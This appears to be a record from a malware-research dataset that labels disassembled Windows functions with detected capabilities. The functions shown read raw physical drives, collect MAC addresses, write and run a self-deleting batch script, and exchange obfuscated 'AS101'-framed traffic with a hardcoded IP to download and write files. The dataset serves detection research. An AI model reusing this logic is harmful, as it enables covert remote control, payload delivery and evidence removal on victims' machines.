joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401a81
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x198]
sub esp, 0x218
mov eax, dword [0x41f044]
xor eax, ebp
mov dword [ebp + 0x194], eax
push esi
xor eax, eax
xor esi, esi
push 0x206
mov word [ebp - 0x74], ax
lea eax, [ebp - 0x72]
push esi
push eax
mov dword [ebp - 0x7c], esi
call fcn.0040c290
add esp, 0xc
mov dword [ebp - 0x78], esi
cmp ebx, esi
je 0x401b33
push edi
mov edi, str.golfinfo.ini
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, si
jne 0x401acc
sub eax, edx
sar eax, 1
je 0x401b32
lea eax, [ebp - 0x74]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
push edi
lea eax, [ebp - 0x74]
push esi
push eax
call fcn.004089f6
push 0x41bd38
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x78]
push eax
call fcn.00408f4b
add esp, 0x18
cmp dword [ebp - 0x78], 0
je 0x401b32
push dword [ebp - 0x78]
xor esi, esi
inc esi
push esi
push 0x200
push ebx
call fcn.0040923e
push dword [ebp - 0x78]
call fcn.004092d2
add esp, 0x14
mov dword [ebp - 0x7c], esi
pop edi
mov ecx, dword [ebp + 0x194]
mov eax, dword [ebp - 0x7c]
xor ecx, ebp
pop esi
call fcn.004089e7
add ebp, 0x198
leave
ret

Function at 0x401b4c
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x198]
sub esp, 0x218
mov eax, dword [0x41f044]
xor eax, ebp
mov dword [ebp + 0x194], eax
push esi
xor eax, eax
xor esi, esi
push 0x206
mov word [ebp - 0x74], ax
lea eax, [ebp - 0x72]
push esi
push eax
mov dword [ebp - 0x7c], esi
call fcn.0040c290
add esp, 0xc
mov dword [ebp - 0x78], esi
cmp ebx, esi
je 0x401c27
push edi
mov edi, str.golfset.ini
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, si
jne 0x401b9b
sub eax, edx
sar eax, 1
je 0x401c26
cmp dword [0x42006c], 3
mov esi, 0x104
lea eax, [ebp - 0x74]
jne 0x401bd8
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
push 0x41bd40
lea eax, [ebp - 0x74]
push esi
push eax
call fcn.004089f6
add esp, 0xc
jmp 0x401be0
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
push edi
lea eax, [ebp - 0x74]
push esi
push eax
call fcn.004089f6
push 0x41bd38
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x78]
push eax
call fcn.00408f4b
add esp, 0x18
cmp dword [ebp - 0x78], 0
je 0x401c26
push dword [ebp - 0x78]
xor esi, esi
inc esi
push esi
push 0x200
push ebx
call fcn.0040923e
push dword [ebp - 0x78]
call fcn.004092d2
add esp, 0x14
mov dword [ebp - 0x7c], esi
pop edi
mov ecx, dword [ebp + 0x194]
mov eax, dword [ebp - 0x7c]
xor ecx, ebp
pop esi
call fcn.004089e7
add ebp, 0x198
leave
ret
Function at 0x401c40
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x41f044]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.0040c290
add esp, 0xc
cmp dword [0x42006c], 3
lea eax, [ebp - 0x20c]
jne 0x401ca6
push esi
mov esi, 0x104
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
push 0x41bd40
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.004089f6
add esp, 0xc
pop esi
jmp 0x401cb2
push eax
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
push edi
lea eax, [ebp - 0x20c]
push eax
push 0x41bd44
push ebx
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
add esp, 0x10
call fcn.004089e7
leave
ret

Function at 0x401e36
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x258
mov eax, dword [0x41f044]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 0x254], eax
xor eax, eax
push 0x206
mov word [ebp - 0x24c], ax
xor ebx, ebx
lea eax, [ebp - 0x24a]
push ebx
push eax
call fcn.0040c290
add esp, 0xc
push 0x104
lea eax, [ebp - 0x24c]
push eax
mov dword [ebp - 0x250], ebx
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
lea eax, [ebp - 0x250]
push eax
movzx eax, word [ebp - 0x24c]
sub eax, 0x41
push eax
call fcn.00402034
pop ecx
pop ecx
xor eax, eax
cmp dword [ebp - 0x250], ebx
push 9
pop ecx
mov esi, str..PHYSICALDRIVE
lea edi, [ebp - 0x44]
rep movsd dword es:[edi], dword [esi]
lea edi, [ebp - 0x20]
stosd dword es:[edi], eax
mov word [ebp - 0x1c], ax
lea edi, [ebp - 0x1a]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
jl 0x401f0e
push 0xa
push 0xa
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x250]
call fcn.0040a138
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x44]
push 0x14
push eax
call fcn.004089f6
add esp, 0x1c
push ebx
push ebx
push 3
push ebx
push 3
push closesocket
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
cmp eax, 0xffffffff
jne 0x401f12
xor eax, eax
jmp 0x401f1e
push dword [ebp - 0x254]
call fcn.00401d70
pop ecx
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004089e7
leave
ret
Function at 0x401f2d
Capabilities:
Get disk information via ioctl

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
xor edi, edi
xor esi, esi
cmp dword [ebp + 8], 0xffffffff
mov dword [ebp - 8], edi
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], edi
je 0x401fd6
mov ebx, 0xb69
push ebx
call fcn.00409419
pop ecx
mov dword [ebp - 4], eax
xor eax, eax
push eax
lea ecx, [ebp - 0xc]
push ecx
push ebx
push dword [ebp - 4]
push eax
push eax
push 0x70050
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_DeviceIoControl]
test eax, eax
je 0x401fc7
mov eax, dword [ebp - 4]
push 4
add eax, 0x30
pop ebx
mov edx, dword [eax + 4]
cmp edx, dword [ebp - 0x14]
mov ecx, dword [eax]
jl 0x401fa9
jg 0x401f9d
cmp ecx, dword [ebp - 0x18]
jbe 0x401fa9
mov esi, dword [eax + 8]
mov edi, dword [eax + 0xc]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], edx
add eax, 0x89
dec ebx
jne 0x401f8c
add esi, dword [ebp - 0x18]
push ebx
adc edi, dword [ebp - 0x14]
push 0x200
push edi
push esi
call fcn.004157e0
mov dword [ebp - 8], eax
cmp dword [ebp - 4], 0
je 0x401fd6
push dword [ebp - 4]
call fcn.0040947e
pop ecx
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x401fe6
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push edi
xor ecx, ecx
xor eax, eax
cmp dword [ebp + 8], 0xffffffff
mov dword [ebp - 0x18], ecx
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 4], ecx
je 0x40202f
mov eax, dword [ebp + 0xc]
mov ecx, 0x200
mul ecx
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 4]
push eax
push 0x400
push dword [ebp + 0x10]
mov dword [ebp - 0xc], edx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
mov ecx, eax
mov eax, ecx
pop edi
leave
ret

Function at 0x40229d
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x194]
sub esp, 0x214
mov eax, dword [0x41f044]
xor eax, ebp
mov dword [ebp + 0x190], eax
push esi
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x78], ax
lea eax, [ebp - 0x76]
push eax
xor esi, esi
call fcn.0040c290
add esp, 0xc
test edi, edi
je 0x402363
and dword [ebp - 0x7c], esi
mov ecx, 0x41bc18
mov eax, ecx
lea esi, [eax + 2]
mov dx, word [eax]
inc eax
inc eax
test dx, dx
jne 0x4022e8
sub eax, esi
sar eax, 1
je 0x40230c
push 0x41bdb4
push ecx
lea eax, [ebp - 0x7c]
push eax
call fcn.00408f4b
add esp, 0xc
jmp 0x402340
lea eax, [ebp - 0x78]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
push str.golfinfo.ini
lea eax, [ebp - 0x78]
push esi
push eax
call fcn.004089f6
push 0x41bdb4
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x7c]
push eax
call fcn.00408f4b
add esp, 0x18
xor esi, esi
inc esi
cmp dword [ebp - 0x7c], 0
je 0x402363
push dword [ebp - 0x7c]
push esi
push 0x200
push edi
call fcn.004095eb
push dword [ebp - 0x7c]
call fcn.004092d2
add esp, 0x14
mov ecx, dword [ebp + 0x190]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.004089e7
add ebp, 0x194
leave
ret
Function at 0x40237b
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push edi
push 0x41bd38
push dword [ebp + 8]
lea eax, [ebp - 4]
xor edi, edi
push eax
mov dword [ebp - 4], edi
call fcn.00408f4b
add esp, 0xc
test eax, eax
je 0x4023a5
xor eax, eax
jmp 0x402428
push ebx
push esi
push 2
push edi
push dword [ebp - 4]
call fcn.004096f7
push dword [ebp - 4]
call fcn.00409919
push edi
push edi
push dword [ebp - 4]
mov esi, eax
call fcn.004096f7
lea eax, [esi + 0x32]
push eax
mov dword [ebp - 8], eax
call fcn.004099d6
push dword [ebp - 4]
mov edi, eax
push 1
push esi
push edi
call fcn.0040923e
push dword [ebp - 4]
call fcn.004092d2
push 0x32
lea ebx, [edi + esi]
call fcn.0040242b
push 0x41bdb4
push dword [ebp + 0xc]
lea eax, [ebp - 4]
push eax
call fcn.00408f4b
add esp, 0x44
pop esi
pop ebx
test eax, eax
jne 0x40239e
push dword [ebp - 4]
push 1
push dword [ebp - 8]
push edi
call fcn.004095eb
push dword [ebp - 4]
call fcn.004092d2
xor eax, eax
add esp, 0x14
inc eax
pop edi
leave
ret
Function at 0x40246d
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x298]
sub esp, 0x318
mov eax, dword [0x41f044]
xor eax, ebp
mov dword [ebp + 0x294], eax
push ebx
push esi
lea eax, [ebp + 0x190]
push eax
mov esi, 0x104
xor ebx, ebx
push esi
mov dword [ebp - 0x80], ebx
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
push str._uinsey.bat
lea eax, [ebp + 0x190]
push esi
push eax
call fcn.0040a304
add esp, 0xc
push esi
lea eax, [ebp + 0x8c]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [ebp + 0x8c]
push eax
lea eax, [ebp - 0x78]
push esi
push eax
call fcn.00409aa0
lea eax, [ebp - 0x78]
push 0x5c
push eax
call fcn.00409b10
add esp, 0x14
cmp eax, ebx
je 0x4024eb
mov byte [eax], bl
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
lea eax, [ebp + 0x190]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov dword [ebp - 0x7c], eax
cmp eax, 0xffffffff
je 0x4025cf
mov eax, str.:Repeat_r_ndel___s__r_nif_exist___s__goto_Repeat_r_nrmdir___s__r_ndel___s_
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40251b
sub eax, edx
lea ecx, [ebp + 0x8c]
push edi
mov esi, eax
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
cmp al, bl
jne 0x402530
lea eax, [ebp + 0x190]
sub ecx, edi
lea edi, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x402542
imul ecx, ecx, 3
sub eax, edi
add ecx, eax
lea esi, [ecx + esi + 0x32]
push esi
call fcn.00409419
push esi
mov edi, eax
push ebx
push edi
call fcn.0040c290
lea eax, [ebp + 0x190]
push eax
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp + 0x8c]
push eax
push eax
push str.:Repeat_r_ndel___s__r_nif_exist___s__goto_Repeat_r_nrmdir___s__r_ndel___s_
push esi
push edi
call fcn.00409b3d
mov eax, edi
add esp, 0x2c
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40258b
push ebx
lea ecx, [ebp - 0x80]
push ecx
sub eax, esi
push eax
push edi
push dword [ebp - 0x7c]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push dword [ebp - 0x7c]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push ebx
push ebx
push ebx
lea eax, [ebp + 0x190]
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp edi, ebx
je 0x4025ce
push edi
call fcn.0040947e
pop ecx
pop edi
mov ecx, dword [ebp + 0x294]
pop esi
xor ecx, ebp
pop ebx
call fcn.004089e7
add ebp, 0x298
leave
ret
Function at 0x4025e6
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3dc
mov eax, dword [0x41f044]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
push 0x206
mov word [ebp - 0x248], ax
xor esi, esi
lea eax, [ebp - 0x246]
push esi
push eax
call fcn.0040c290
add esp, 0xc
lea eax, [ebp - 0x3d8]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 1
mov edi, 0x421970
call fcn.004019f5
pop ecx
push 2
pop ebx
test eax, eax
jne 0x402701
push 0x3a
mov word [ebp - 0x40], ax
lea eax, [ebp - 0x3e]
push esi
push eax
call fcn.0040c290
add esp, 0xc
lea edi, [ebp - 0x40]
call fcn.00402793
xor eax, eax
movzx ecx, word [ebp + eax - 0x40]
mov word [eax + 0x421b18], cx
add eax, ebx
cmp cx, si
jne 0x402663
push str.218.54.31.165
push 0x40
push 0x421974
call fcn.00408a73
add esp, 0xc
push 0x51
pop eax
push str.AAAA
push 0x10
push 0x4219f6
mov word [0x4219f4], ax
call fcn.00408a73
add esp, 0xc
push 0x41bc4c
push 0x40
push 0x421a16
call fcn.00408a73
mov eax, 0x2b66
add esp, 0xc
mov word [0x421a96], ax
xor eax, eax
movzx ecx, word [ebp + eax - 0x40]
mov word [eax + 0x421af8], cx
add eax, ebx
cmp cx, si
jne 0x4026c8
mov edi, 0x421af8
dec edi
dec edi
mov ax, word [edi + 2]
add edi, ebx
cmp ax, si
jne 0x4026e2
mov esi, 0x41bdd0
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov dword [0x421b38], 5
xor esi, esi
call fcn.00402821
lea edi, [ebp - 0x248]
call fcn.00402793
xor eax, eax
movzx ecx, word [ebp + eax - 0x248]
mov word [eax + 0x421da8], cx
add eax, ebx
cmp cx, si
jne 0x402713
mov edi, 0x421da8
push edi
push esi
push 0x20000
call dword [sym.imp.KERNEL32.DLL_OpenEventW]
cmp eax, esi
je 0x40274a
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
jmp 0x402784
push edi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.DLL_CreateEventW]
test eax, eax
je 0x402746
mov ebx, 0x421e28
call fcn.00402a08
mov eax, dword [0x421b3c]
push esi
push esi
push esi
push 0x402e7e
push esi
push esi
mov dword [0x421e30], eax
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov dword [0x4200e8], eax
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004089e7
leave
ret
Function at 0x402bff
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0x41f044]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
or dword [ebp - 0x2c], 0xffffffff
push ebx
mov dword [ebp - 0x40], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x38], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x3c], eax
xor eax, eax
push 7
mov word [ebp - 0x24], ax
pop ecx
lea edi, [ebp - 0x22]
rep stosd dword es:[edi], eax
mov esi, 0x288
push esi
stosw word es:[edi], ax
xor ebx, ebx
call fcn.004099d6
pop ecx
lea ecx, [ebp - 0x34]
push ecx
push eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x34], esi
call sub.IPHLPAPI.DLL_GetAdaptersInfo
cmp eax, 0x6f
jne 0x402c70
push dword [ebp - 0x28]
call fcn.00409f37
push dword [ebp - 0x34]
call fcn.004099d6
pop ecx
pop ecx
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 0x28]
call sub.IPHLPAPI.DLL_GetAdaptersInfo
test eax, eax
jne 0x402d2a
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x30], eax
cmp eax, ebx
je 0x402d2a
jmp 0x402c97
mov eax, dword [ebp - 0x30]
mov edi, dword [ebp - 0x40]
inc dword [ebp - 0x2c]
test edi, edi
je 0x402caa
lea esi, [eax + 0x194]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea esi, [eax + 0x1ac]
test esi, esi
je 0x402d19
lea edi, [esi + 4]
mov eax, edi
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402cbc
sub eax, ecx
cmp eax, 0x10
jle 0x402ccd
push 0x10
pop eax
xor ecx, ecx
test eax, eax
jl 0x402ced
cmp ecx, eax
jne 0x402cde
xor edx, edx
mov word [ebp + ecx*2 - 0x24], dx
movsx dx, byte [edi + ecx]
mov word [ebp + ecx*2 - 0x24], dx
inc ecx
cmp ecx, eax
jle 0x402cd5
lea eax, [ebp - 0x24]
push eax
call fcn.004028aa
pop ecx
test eax, eax
je 0x402d0f
lea eax, [ebp - 0x24]
push eax
mov eax, dword [ebp - 0x38]
push 0x10
push dword [eax + ebx*4]
call fcn.00408a73
add esp, 0xc
mov esi, dword [esi]
inc ebx
test esi, esi
jne 0x402cb4
mov eax, dword [ebp - 0x30]
test ebx, ebx
jg 0x402d2a
mov eax, dword [eax]
mov dword [ebp - 0x30], eax
test eax, eax
jne 0x402c94
cmp dword [ebp - 0x28], 0
mov eax, dword [ebp - 0x3c]
pop edi
pop esi
mov dword [eax], ebx
pop ebx
je 0x402d41
push dword [ebp - 0x28]
call fcn.00409f37
pop ecx
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x2c]
xor ecx, ebp
call fcn.004089e7
leave
ret
Function at 0x403096
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x430
mov eax, dword [0x41f044]
xor eax, ebp
mov dword [ebp - 4], eax
push dword [ebp + 8]
mov dword [ebp - 0x430], ecx
call fcn.00403207
pop ecx
mov dword [ebp - 0x42c], eax
test eax, eax
jne 0x4031fb
push ebx
push esi
push edi
mov esi, 0x206
push esi
push eax
mov word [ebp - 0x220], ax
lea eax, [ebp - 0x21e]
push eax
call fcn.0040c290
xor eax, eax
push esi
push eax
mov word [ebp - 0x428], ax
lea eax, [ebp - 0x426]
push eax
call fcn.0040c290
lea edi, [ebp - 0x220]
call fcn.00402f7d
push 0x41bd40
mov esi, 0x104
mov eax, edi
push esi
push eax
call fcn.004089f6
mov byte [ebp - 0x18], 0
add esp, 0x24
xor eax, eax
lea edi, [ebp - 0x17]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ebx, 0x421058
cmp word [ebx], 0
je 0x403188
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x428]
push esi
push eax
call fcn.00408a73
push ebx
lea eax, [ebp - 0x428]
push esi
push eax
call fcn.004089f6
lea eax, [ebp - 0x428]
push eax
lea ecx, [ebp - 0x18]
call fcn.004054ac
add esp, 0x1c
test eax, eax
je 0x403188
push 5
pop ecx
lea edi, [ebx + 0x104]
lea esi, [ebp - 0x18]
xor eax, eax
repe cmpsd dword [esi], dword es:[edi]
mov esi, 0x104
jne 0x403188
mov word [ebx], ax
add ebx, 0x118
cmp ebx, 0x4215d0
jl 0x403130
mov edi, 0x421058
cmp word [edi], 0
je 0x4031b3
push dword [ebp + 8]
mov ecx, edi
push dword [ebp - 0x430]
call fcn.0040398b
pop ecx
pop ecx
add edi, 0x118
cmp edi, 0x4215d0
jl 0x40319b
push 0x422028
lea eax, [ebp - 0x220]
push esi
push eax
call fcn.004089f6
add esp, 0xc
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
pop edi
pop esi
pop ebx
cmp eax, 0xffffffff
jne 0x4031f5
mov dword [ebp - 0x42c], 2
mov eax, dword [ebp - 0x42c]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004089e7
leave
ret
Function at 0x4033de
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9a8
mov eax, dword [0x41f044]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
lea eax, [ebp - 0x804]
cmp ecx, ebx
je 0x403400
mov eax, ecx
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x9a4]
push eax
push 0x101
mov dword [ebp - 0x9a8], ebx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x403428
xor eax, eax
jmp 0x4034ba
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi], eax
cmp eax, 0xffffffff
je 0x403421
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x403468
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
mov dword [ebp - 0x9a8], eax
push 4
lea eax, [ebp - 0x9a8]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
test eax, eax
je 0x4034a9
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
push 2
mov dword [ebp - 0x810], eax
pop eax
push dword [ebp + 8]
mov word [ebp - 0x814], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x812], ax
push 0x10
lea eax, [ebp - 0x814]
push eax
push dword [esi]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x4034a9
xor ebx, ebx
inc ebx
jmp 0x4034b8
mov eax, dword [esi]
test eax, eax
je 0x4034b8
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
and dword [esi], ebx
mov eax, ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.004089e7
leave
ret

Function at 0x4035f3
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
xor ecx, ecx
push ebx
mov dword [ebp - 8], ecx
cmp dword [eax], ecx
je 0x403670
push esi
mov esi, dword [ebp + 0x10]
cmp esi, ecx
push edi
jle 0x40361a
mov eax, dword [ebp + 0xc]
add eax, ecx
not byte [eax]
inc ecx
cmp ecx, esi
jl 0x40360e
lea eax, [esi + 7]
push eax
mov dword [ebp - 4], eax
call fcn.00409419
push dword [ebp + 0x10]
mov ebx, eax
push dword [ebp + 0xc]
add esi, 5
mov word [ebx], si
lea edi, [ebx + 2]
mov esi, str.AS101
movsd dword es:[edi], dword [esi]
lea eax, [ebx + 7]
push eax
movsb byte es:[edi], byte [esi]
call fcn.0040d2d0
mov eax, dword [ebp + 8]
add esp, 0x10
push 0
push dword [ebp - 4]
push ebx
push dword [eax]
call dword [sym.imp.WS2_32.dll_send]
pop edi
pop esi
cmp eax, 0xffffffff
je 0x403673
cmp eax, dword [ebp - 4]
jne 0x403673
mov dword [ebp - 8], 1
jmp 0x403673
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x40367e
push ebx
call fcn.0040947e
pop ecx
mov eax, dword [ebp - 8]
pop ebx
leave
ret
Function at 0x403817
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
lea ebp, [esp - 0x70]
sub esp, 0x8e0
mov eax, dword [0x41f044]
xor eax, ebp
mov dword [ebp + 0x6c], eax
mov eax, dword [ebp + 0x7c]
push ebx
push esi
push edi
mov edi, dword [ebp + 0x78]
xor ebx, ebx
mov dword [ebp - 0x870], eax
mov dword [ebp - 0x86c], ecx
mov dword [ebp - 0x868], edi
lea eax, [ebp - 0x85c]
cmp edx, ebx
je 0x403855
mov eax, edx
xor edx, edx
mov word [eax], dx
mov esi, dword [ecx]
mov dword [ebp - 0x864], ebx
cmp esi, ebx
je 0x403973
cmp edi, ebx
je 0x403973
push 0xc7
lea eax, [ebp - 0x5b]
push ebx
push eax
mov byte [ebp - 0x5c], dl
call fcn.0040c290
add esp, 0xc
push ebx
push 2
lea eax, [ebp - 0x5c]
push eax
push esi
mov esi, dword [sym.imp.WS2_32.dll_recv]
call esi
cmp eax, 0xffffffff
je 0x403973
cmp eax, ebx
je 0x403973
movzx edi, word [ebp - 0x5c]
lea eax, [edi + 2]
push eax
call fcn.00409419
pop ecx
mov dword [ebp - 0x860], eax
test edi, edi
jle 0x40395e
push 0
mov eax, edi
sub eax, ebx
push eax
mov eax, dword [ebp - 0x860]
add eax, ebx
push eax
mov eax, dword [ebp - 0x86c]
push dword [eax]
call esi
cmp eax, 0xffffffff
je 0x40393c
test eax, eax
je 0x40393c
add ebx, eax
cmp edi, ebx
jg 0x4038c4
push 5
pop ecx
cmp ebx, ecx
jl 0x40395e
mov edi, dword [ebp - 0x860]
sub ebx, ecx
mov esi, str.AS101
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x40395e
mov ecx, dword [ebp - 0x860]
test ebx, ebx
jle 0x40391c
lea eax, [ecx + 5]
mov edx, ebx
not byte [eax]
inc eax
dec edx
jne 0x403916
mov esi, dword [ebp - 0x870]
mov eax, dword [esi]
add ecx, 5
cmp eax, ebx
jl 0x403944
push ebx
push ecx
push dword [ebp - 0x868]
call fcn.0040d2d0
mov dword [esi], ebx
jmp 0x403951
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x40395e
push eax
push ecx
push dword [ebp - 0x868]
call fcn.0040d2d0
add esp, 0xc
mov dword [ebp - 0x864], 1
cmp dword [ebp - 0x860], 0
je 0x403973
push dword [ebp - 0x860]
call fcn.0040947e
pop ecx
mov ecx, dword [ebp + 0x6c]
mov eax, dword [ebp - 0x864]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004089e7
add ebp, 0x70
leave
ret
Function at 0x403bc4
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0xf90]
mov eax, 0x1010
call fcn.00413390
mov eax, dword [0x41f044]
xor eax, ebp
mov dword [ebp + 0xf8c], eax
mov eax, dword [ebp + 0xf98]
push ebx
push esi
mov esi, dword [sym.imp.WS2_32.dll_recv]
xor ebx, ebx
push ebx
mov dword [ebp - 0x7c], eax
push 4
lea eax, [ebp - 0x78]
push eax
push dword [edi]
call esi
cmp eax, 4
je 0x403c0a
xor eax, eax
jmp 0x403c52
cmp dword [ebp - 0x78], ebx
jbe 0x403c41
push 0
push 0x1000
lea eax, [ebp - 0x74]
push eax
push dword [edi]
call esi
mov dword [ebp - 0x80], eax
test eax, eax
je 0x403c41
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
push eax
lea eax, [ebp - 0x74]
push 1
push eax
call fcn.004095eb
add ebx, dword [ebp - 0x80]
add esp, 0x10
cmp ebx, dword [ebp - 0x78]
jb 0x403c0f
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.004092d2
cmp ebx, dword [ebp - 0x78]
pop ecx
sbb eax, eax
inc eax
mov ecx, dword [ebp + 0xf8c]
pop esi
xor ecx, ebp
pop ebx
call fcn.004089e7
add ebp, 0xf90
leave
ret